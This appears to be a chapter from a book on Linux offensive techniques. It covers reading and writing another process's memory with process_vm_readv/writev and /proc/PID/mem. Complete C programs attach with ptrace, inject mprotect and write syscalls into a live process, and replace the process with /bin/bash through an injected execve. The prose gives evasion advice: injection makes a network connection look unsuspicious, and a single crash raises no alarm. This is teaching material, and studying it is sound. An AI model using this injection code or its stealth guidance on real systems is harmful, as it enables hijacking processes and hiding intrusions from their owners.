In the previous chapter, we saw how ptrace can be used
for reading and writing arbitrary memory in the addressing space of any
process. We also saw that the way to do that is cumbersome and slow—as
slow as one system call for each word to read or write, which may be
unacceptable for some use cases, such as game hacking, which we’ll
discuss later in this chapter.
To avoid that problem, two new system
calls were introduced: process_vm_readv and
process_vm_writev. These system calls are vectorized (can
use multiple buffers), so the v at the end of their names,
and, as we’ll see in a second, they use the same data structures as
other v system calls like readv,
writev, or vmsplice.
So, let’s start rewriting our last ptrace example using
these system calls. This allows us to begin from a known starting point
and smoothly introduce the way to use them.
Modifying memory part II
Let’s take the program from the homonym section in chapter 1 and modify it to use these system calls. This is the resulting code:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/uio.h>
#include <sys/mman.h>
#define DIE(s) {perror(s); exit(1);}
int inject_syscall (pid_t pid, struct user_regs_struct *regs, int syscall,
int p1, int p2, int p3, int p4) {
int status;
regs->rax = syscall;
regs->rdi = p1;
regs->rsi = p2;
regs->rdx = p3;
regs->r10 = p4;
if (ptrace (PTRACE_SETREGS,pid,0,regs) < 0) DIE ("PTRACE_SETREGS:");
if (ptrace (PTRACE_SINGLESTEP,pid,0,0) < 0) DIE ("PTRACE_SINGLESTEP:");
wait (&status);
return status;
}
int main (int argc, char *argv[]) {
struct user_regs_struct regs;
struct user_regs_struct old_regs;
int status;
pid_t pid = atoi(argv[1]);
char *msg = "\x0f\x05Hello, world!\n";
struct iovec local1[1], local2[1], remote[1];
ssize_t len = strlen(msg);
int pagesize = sysconf (_SC_PAGESIZE);
if (ptrace (PTRACE_SEIZE,pid,0,0) < 0) DIE("PTRACE_SEIZE:");
if (ptrace (PTRACE_INTERRUPT,pid,0,0) < 0) DIE ("PTRACE_INTERRUPT:");
wait (&status);
if (ptrace (PTRACE_GETREGS,pid,0,&old_regs) < 0) DIE ("PTRACE_GETREGS:");
memcpy (®s, &old_regs, sizeof(regs));
local1[0].iov_base = malloc (len);
local1[0].iov_len = len;
remote[0].iov_base = (void*) regs.rip;
remote[0].iov_len = len;
process_vm_readv (pid, local1, 1, remote, 1 ,0);
if (ptrace (PTRACE_POKETEXT,pid,regs.rip, 0x000000000000050f) < 0) DIE ("PTRACE_POKETEXT:");
inject_syscall (pid, ®s, 10,
regs.rip & ~(pagesize - 1), pagesize, PROT_WRITE | PROT_READ | PROT_EXEC,0);
local2[0].iov_base = msg;
local2[0].iov_len = len;;
process_vm_writev(pid, local2, 1, remote, 1, 0);
inject_syscall (pid, ®s, 1, 1, regs.rip + 2, len -2, 0);
process_vm_writev(pid, local1, 1, remote, 1, 0);
free (local1[0].iov_base);
if (ptrace (PTRACE_SETREGS,pid,0,&old_regs) < 0) DIE ("PTRACE_SETREGS:");
if (ptrace (PTRACE_DETACH,pid,0,0) < 0) DIE ("PTRACE_DETACH:");
return 0;
}TECHNIQUE: Read and write remote process memory
Code injection/Data exfiltration
Using
process_vm_readvandprocess_vm_writev, a process with the right permissions can read and write, respectively, any process memory. Memory access using these system calls is controlled by the target memory VMA permissions.
Let’s ignore the inject_syscall helper function at the
beginning of the program (you already know it) and focus on the
main function. The program is almost identical to the
previous one using PTRACE_POKETEXT and
PTRACE_PEEKTEXT, but it uses our new friends instead. Let’s
look at the very first call where we make a copy of code at the current
rip position from the target process:
local1[0].iov_base = malloc (len);
local1[0].iov_len = len;
remote[0].iov_base = (void*) regs.rip;
remote[0].iov_len = len;
process_vm_readv (pid, local1, 1, remote, 1 ,0);The v system calls (or vectorized I/O system calls) use
the iovec struct, which allows us to define a memory block
using a base address and a length. The v system calls can
work with many of those buffers simultaneously, so they usually receive
an array of those structures (hence the vectorized I/O designation).
This way, we can write or read different blocks of memory and combine
them in just one write or read (one single system call).
This is very useful, for instance, when implementing protocols that
compose data as a header and some payload. Traditionally, you have to
make arrangements in your program to compose the final packet or perform
two operations, one for the header and one for the payload. With these
primitives (readv/writev), you can just use
two memory blocks, one for the header and one for the payload, and send
them together using an iovec array with two elements. In
the same way, you can read a whole packet from the network and make the
first bytes (the header) end up in a buffer and the payload in a
different one in just one call. In our example, we just need one entry,
so our local and remote arrays have only one
element.
Let’s now look into the parameters to process_vm_readv
in detail. This is its prototype:
ssize_t process_vm_readv(pid_t pid,
const struct iovec *local_iov,
unsigned long liovcnt,
const struct iovec *remote_iov,
unsigned long riovcnt,
unsigned long flags);The first parameter is the pid of the remote process we
want to read from (the write counterpart has the same parameters, so
everything said here also applies to process_vm_writev).
Then follow the local memory blocks where the remote memory will be
copied to. After that follow the remote memory blocks from
PID we want to read. Finally, there is a flags
parameter, but at the time of this writing, it’s unused and shall be set
to zero.
In the example code, you can see how a local buffer is allocated to
store the bytes read from the remote process using malloc.
The remote buffer points to the current value of rip (the
point at which we stopped the process) to read the instructions at that
position so we can back up those memory positions in order to safely
overwrite them and restore that memory area back later.
process_vm_writev works exactly the same but to write
into the indicated process. We use it twice in the program, once to
write the string we want (and also the syscall instruction)
and another to restore the original code in the remote process.
process_vm_writev and process_vm_readv
honor the permissions associated with the memory area we want to write
or read, respectively. For that reason, writing code into a
.text segment will initially fail because such a segment
doesn’t have write permission. Therefore, before using
process_vm_writev, we have to inject into the remote
process a mprotect system call to change the permissions of
the .text page we’re interested in, and the easiest way to
do that is using PTRACE_POKETEXT. We’ll see later ways to
do this without using ptrace.
This is what these two lines of code do:
if (ptrace (PTRACE_POKETEXT,pid,regs.rip, 0x000000000000050f) < 0) DIE ("PTRACE_POKETEXT:");
inject_syscall (pid, ®s, 10,
regs.rip & ~(pagesize - 1), pagesize, PROT_WRITE | PROT_READ | PROT_EXEC,0);The first one inserts a syscall instruction
(0x050f) at the current rip position (the next
instruction to be executed), and then it calls our
inject_syscall helper function, which, in this case, will
run a mprotect system call to add write permissions to the
memory area we’re interested in.
NOTE
Injecting our own
syscallis convenient because we don’t have to look for that instruction in the target program. Actually, you won’t likely find asyscallinstruction in the main program because it uses LibC wrappers for all OS interactions. Therefore, you’ll have to look for thesyscallinstruction in the libC mapping in memory. Note that, if you have located such an instruction, you can just setripto point to it, and you will save thePTRACE_POKEwrite. On the other side, you need to find the correct range of memory to look for and run a scan through it to find thesyscallinstruction.
The inject_syscall is a convenient helper function to
run system calls in place. In the example above, we are executing:
inject_syscall (pid, // PID to target process
®s, // Current set of registers
10, // Syscall Number: mprotect (10)
regs.rip & ~(pagesize - 1), // Par 1: Page Aligned Base Address to change permissions
pagesize, // Par 2: Size of Memory Block to change permissions
PROT_WRITE | PROT_READ // Par 3: Permissions to be set
| PROT_EXEC,0);We’ll be using the inject_syscall helper function very
often throughout the book. In our current example, it’s used for the
initial mprotect call and also for the write
call later to print the Hello, world! message.
W^X Protection
Modern systems offer the so-called W^X protection or “Write XOR Execution” which ensures that the write and execution permissions cannot be set at the same time in a given memory area. This usually means that in order to write code somewhere in the process’ addressing space, we need to first enable the write permission (and disable the execution) in order to write the code, and then set the execution permission back and remove the write one. Basically, we’ve to do two operations sequentially instead of one. This is fine when using a separated memory block as we’ll see in the next chapter, but if we inject code just into the text segment of the target project, we cannot do that. Let’s see what happens.
We inject our
syscallinstruction in order to be able to runmprotectto change permissions as we did in our example. As the W^X protection is active, we cannot setPROT_READ | PROT_WRITE | PROT_EXEC; instead, we need to doPROT_READ | PROT_WRITEeffectively removing the execution permission. Now we can write our code in the text segment, but we cannot execute it. We need to reset the permissions to enablePROT_EXECagain, but we cannot run amprotectas we did before, because the injectedsyscallinstruction is now in non-executable memory, and if we try to run it, we’ll get a segmentation fault.As you can see, this kind of protection makes things a bit more tricky. Basically, you’ll have to run your system calls from a different memory page so you can remove the execution permission from the text segment while keeping the execution permissions on the memory block from where you are running the syscalls. We’ll see more on this later. For now, just keep in mind that W^X protection is a thing. BTW, this is not available in the Linux kernel by default; you need to install special kernel modules to enable this kind of protection.
Codewise, using process_vm_readv/process_vm_writev with
this example adds more lines of code; however, overall the code will be
faster, especially if the code to be injected is long or requires quite
some data. In that case, all the memory copying is done by one single
system call, where, if using ptrace, we may have to run
many system calls (depending on the size of the data to move), which are
costly and slow operations.
Now we know how these powerful system calls work, and we’ll see some more interesting techniques using them. But first, I need to talk about an alternative.
Modifying memory part III
Before diving into specific uses of our new friends to read and write memory on any process, I’ll introduce a third way to do this. I’m adding it here because this technique doesn’t rely on a system call and therefore will be difficult to fit it in any other chapter.
The Linux kernel offers an interface to access the memory of any
process through the /proc/PID/mem pseudo file. Reading and
writing to that file will capture or modify the indicated process memory
as far as we’ve the right permissions which are, basically, the same
permissions needed to use the ptrace system call.
Using this interface is very simple, we just read and write like in a
regular file but the pointer in the file is the memory address we want
to access. For example, supposing you have already opened the file and
you want to read the value of the memory at address
0x400123 and then change it into a NOP:
uint8_t val, val1 = 0x90;
lseek (fd, 0x400123, SEEK_SET);
read (fd, &val, 1);
...
lseek (fd, 0x400123, SEEK_SET);
write (fd, &val1, 1);Even when you can use regular read and
write to access the file, as shown above, those are a bit
inconvenient because these two system call modify the file pointer so we
typically will have to reset it (using lseek) on every
access, meaning that we’ll need 2 system calls per access. Fortunately,
the Linux kernel offers two system calls that match perfectly our
needs.
ssize_t pread(int fd, void buf[.count], size_t count,
off_t offset);
ssize_t pwrite(int fd, const void buf[.count], size_t count,
off_t offset);NOTE: Even when the LibC wrappers are named pread
and pwrite, the actual system calls used underneath are
named pread64 and pwrite64.
They work as regular read and write but we
can pass the offset into the file in each operation and therefore work
independently of the internal file pointer. Additionally, they don’t
change the file pointer after execution, which is also interesting. With
this new knowledge, we can rewrite the main function of our
test program like this:
int main (int argc, char *argv[]) {
struct user_regs_struct regs;
struct user_regs_struct old_regs;
int status;
pid_t pid = atoi(argv[1]);
char *msg = "\x0f\x05Hello, world!\n";
ssize_t len = strlen(msg);
char mem_path[1024], *orig_code;
int mem;
if (ptrace (PTRACE_SEIZE,pid,0,0) < 0) DIE("PTRACE_SEIZE:");
if (ptrace (PTRACE_INTERRUPT,pid,0,0) < 0) DIE ("PTRACE_INTERRUPT:");
wait (&status);
if (ptrace (PTRACE_GETREGS,pid,0,&old_regs) < 0) DIE ("PTRACE_GETREGS:");
memcpy (®s, &old_regs, sizeof(regs));
snprintf (mem_path, 1024, "/proc/%d/mem", pid);
mem = open (mem_path, O_RDWR);
orig_code = malloc (len);
pread (mem, orig_code, len, regs.rip);
pwrite (mem, msg, len, regs.rip);
inject_syscall (pid, ®s, 1, 1, regs.rip + 2, len -2, 0);
pwrite (mem, orig_code, len, regs.rip);
close (mem);
if (ptrace (PTRACE_SETREGS,pid,0,&old_regs) < 0) DIE ("PTRACE_SETREGS:");
if (ptrace (PTRACE_DETACH,pid,0,0) < 0) DIE ("PTRACE_DETACH:");
return 0;
}TECHNIQUE: Read and write remote process memory
Code injection/Data exfiltration
The
/proc/PID/mempseudo file can be used to access the memory of any process, supposing you have the right permissions. Memory accesses using the pseudo file are better performed using thepread/pwritesystem calls.
The use of this interface is pretty straightforward, and as you can
see, it doesn’t honor the VMA permissions, which means that we can read
or write at any address without restrictions. The code above doesn’t
require the mprotect call, and the use of
pread and pwrite makes modifying the memory of
the target process very easy.
Overall, the main difference between using /dev/pid/mem
and the process_vm_XXXv is that the second one allows us to
access different memory areas in one single call, whereas using the
/proc file will require multiple system calls.
At first glance, using /proc/pid/mem looks much better.
Usually, it is; however, this interface used to be much more secured (as
secured as ptrace) in even default Linux installations. In
the rest of the chapter, I’ll use process_vm_XX because
we’re dealing with system calls, but now you know that you can modify
(and in many cases simplify) all the programs in this chapter accessing
/proc/pid/mem instead. That can be a nice exercise.
Destructive Code Injection
We’ve seen a simple way of code injection, but there are many other
options to do that. In this section, we’ll explore them using
process_vm_readv and process_vm_writev. But
before diving into the details, you may be wondering why code injection
is a thing. Let’s see some of the reasons why code injection is
interesting.
- Running certain code from within certain programs will make some actions look less suspicious. A calculator making a TCP connection to a random server may be suspicious, but one more connection in a Firefox process won’t surprise anybody.
- Running code inside an existing process gives us access to all the resources that process manages.
- Code injection is a fundamental part of many exploitation techniques.
- It’s pretty cool to make any program in your system do what you want. B)
The main concept about code injection is to take advantage of tools trusted by the system, and by making those tools run your code, you may make that behavior look normal, or access resources that will be much harder to access in a different way. Note that you already need root to implement many of those techniques (or alternatively exploiting an existing vulnerability), but that is a different story. At the end, any intrusion is a sequence of steps in which each step sets the basis for executing the next one until the final objective is achieved. Each of these steps can be done in different ways, using different techniques, and one of those techniques is code injection, so it’s something useful to learn about.
Now that we know why we want to inject code, let’s see how to do it. Let’s look at which types of code injection are available. As usual, there are as many classifications as people in the world, however, a reasonable objective way to do this classification is dividing the techniques looking at the way they modify the target process: Destructive and Non-destructive.
A destructive technique will break the target program, or in other words, it’ll stop doing what it was supposed to do. In those cases, we want the target program to do something for us and, once done, we don’t care anymore if it lives or dies. Somehow, this exposes the attacker much more, which may be OK sometimes. One random crash of a program doesn’t raise an alarm immediately, but if it starts crashing all day long, then somebody will start asking what the hell is going on.
A non-destructive approach, on the other hand, is much stealthier. It’ll inject and execute the code in the target process but in a way that the target program keeps working normally. Those techniques are harder to detect and may keep some code running in the system hidden for long periods of time without raising any alarm.
There are many different ways to do both, and we’ll see a few making
use of process_vm_writev/readv and the infrastructure we
had already set up.
Code injection with
execve
The simplest way of destructive code injection is using the
execve system call. Actually implementing this technique
takes almost the same effort than running our Hello World
example. Let’s take our original program and modify it to run
bash, instead of printing a greeting in the console.
I’ll just show the main function, everything else is the
same including the inject_syscall function:
int main (int argc, char *argv[]) {
struct user_regs_struct regs;
struct user_regs_struct old_regs;
int status;
pid_t pid = atoi(argv[1]);
uint64_t v;
struct iovec local1[1], local2[1], remote[1];
int pagesize = sysconf (_SC_PAGESIZE);
char *path = "/bin/bash";
ssize_t len = strlen(path) + 1; // copy 0
// --------------------------------------
// Prepare to use process_vm_writev
if (ptrace (PTRACE_SEIZE, pid, 0, 0) < 0) DIE("PTRACE_SEIZE:");
if (ptrace (PTRACE_INTERRUPT, pid, 0, 0) < 0) DIE ("PTRACE_INTERRUPT:");
wait (&status);
if (ptrace (PTRACE_GETREGS, pid, 0, ®s) < 0) DIE ("PTRACE_GETREGS:");
// We need to poke the syscall to change memory permissions at target
if (ptrace (PTRACE_POKETEXT, pid, regs.rip, 0x000000000000050f) < 0) DIE ("PTRACE_POKETEXT:");
inject_syscall (pid, ®s, 10,
regs.rip & ~(pagesize - 1), pagesize, PROT_WRITE | PROT_READ | PROT_EXEC,0);
// ----------------------------
local1[0].iov_base = path;
local1[0].iov_len = len;
remote[0].iov_base = (void*) regs.rip + 2; // Copy just after syscall
remote[0].iov_len = len;
process_vm_writev (pid, local1, 1, remote, 1, 0);
inject_syscall (pid, ®s, 59, regs.rip + 2, 0, 0, 0);
if (ptrace (PTRACE_DETACH, pid, 0, 0) < 0) DIE ("PTRACE_DETACH:");
return 0;
}The program should be very easy to follow by now, but let me draw your attention to a couple of details:
- We have to add 1 to the length of the string, this is because
execverequires that the strings are zero-terminated andstrlendoesn’t count the ending zero. - After calling
execve, our original process is completely destroyed so there is no point on saving old registers or restoring overwritten data, which allows us to get rid of quite some code.
Even when this is not the most stealthy way to inject code, it’s a
good exercise to get fluent with what is coming. Actually, to illustrate
the power of process_vm_readv/writev, let’s pass some
arguments to the execve system call.
For doing that, we need to fit an array of strings (pointers to
character arrays) plus the strings in memory so we can point the proper
register to that memory area when calling execve. This is a
possible memory layout:
RIP + 00 | 05 0f -> Syscall
RIP + 02 | /bin/bash\0 -> Path
RIP + 12 | arg[0] = RIP + 28 -> Pointer to arg[0] ---------------------+
RIP + 20 | NULL -> args is NULL terminated |
RIP + 28 | /bin/firefox -> content of arg[0] (actual string) <---+
Note that in order to generate this structure we need the value of
register rip so we can generate the correct pointer in the
pointer array to the arguments. We can easily generate a memory block
with this content and copy it over to the target process, or we can take
advantage of process_vm_writev. Take a look to this code.
Again I’m only showing main to keep the listing short:
int main (int argc, char *argv[]) {
struct user_regs_struct regs;
int status;
pid_t pid = atoi(argv[1]);
struct iovec local1[3], remote[1];
int pagesize = sysconf (_SC_PAGESIZE);
char *path = "/bin/bash";
char *args = "/bin/firefox";
char *pargs[] = {0,0};
ssize_t len = strlen(path) + 1; // copy 0
ssize_t len1 = strlen(args) + 1; // copy 0
// --------------------------------------
// Prepare to use process_vm_writev
if (ptrace (PTRACE_SEIZE, pid, 0, 0) < 0) DIE("PTRACE_SEIZE:");
if (ptrace (PTRACE_INTERRUPT, pid, 0, 0) < 0) DIE ("PTRACE_INTERRUPT:");
wait (&status);
if (ptrace (PTRACE_GETREGS, pid, 0, ®s) < 0) DIE ("PTRACE_GETREGS:");
if (ptrace (PTRACE_POKETEXT, pid, regs.rip, 0x000000000000050f) < 0) DIE ("PTRACE_POKETEXT:");
inject_syscall (pid, ®s, 10,
regs.rip & ~(pagesize - 1), pagesize, PROT_WRITE | PROT_READ | PROT_EXEC,0);
// ----------------------------
pargs[0] = (void*)(regs.rip + 2 + len + sizeof(void*)*2);
local1[0].iov_base = path;
local1[0].iov_len = len;
local1[1].iov_base = pargs;
local1[1].iov_len = sizeof(void*) * 2;
local1[2].iov_base = args;
local1[2].iov_len = len1;
remote[0].iov_base = (void*) regs.rip + 2; // Copy just after syscall
remote[0].iov_len = len + len1 + sizeof(void*)*2;
process_vm_writev (pid, local1, 3, remote, 1, 0);
inject_syscall (pid, ®s, 59, regs.rip + 2, regs.rip + 2 + len, 0, 0);
if (ptrace (PTRACE_DETACH, pid, 0, 0) < 0) DIE ("PTRACE_DETACH:");
return 0;
}TECHNIQUE: Destructive code injection with execve
Code injection
Use
ptraceandprocess_vm_writevsystem calls to inject aexecvesystem call in a running process to run a different program.
Pay attention to the code. We declare all our strings separately
(path and args) and also an array of pointers
to strings initialized to zero (pargs). Note that the
local1 array now has 3 elements. Then, in the main program,
after setting the right pointer value in the pointer array (setting
pargs[0]), we just define three memory regions to write
over to the target process. Note that the local blocks can be anywhere
and they will all be copied one after the other in the target region.
This is what the v syscalls are intended to do.
In this example, I write the data on the text segment
just to mimic previous examples, but note that once we have the
syscall instruction, the rest of the data can be anywhere,
for example in the stack (we’ll use rsp instead of
rip for the remote addresses). That way, we do not need the
initial call to mprotect anymore.
EXERCISE: Modify previous program to store the data in the stack instead of writing it into the
textsegment. Note that you don’t need to callmprotectanymore and also note that the stack grows downwards, so you should make space in it subtracting a value fromrsp. In this case, as the injection is destructive it doesn’t really matter, but it’s better to do it right to practice.
Destructive code injection like this is easy to implement and, if needed for just one shot, are good enough. Basically, some program will stop working randomly. If this happens once, the natural reaction is to launch it again and continue; we’re used to software crashes now and then (especially in some OSes). An user or admin will only suspect that something is going on if the program keeps crashing again and again. So, each technique, despite how simple or rough may look, usually have a situation where it’s a good choice.
Get the code at https://github.com/0x00pf/lbofs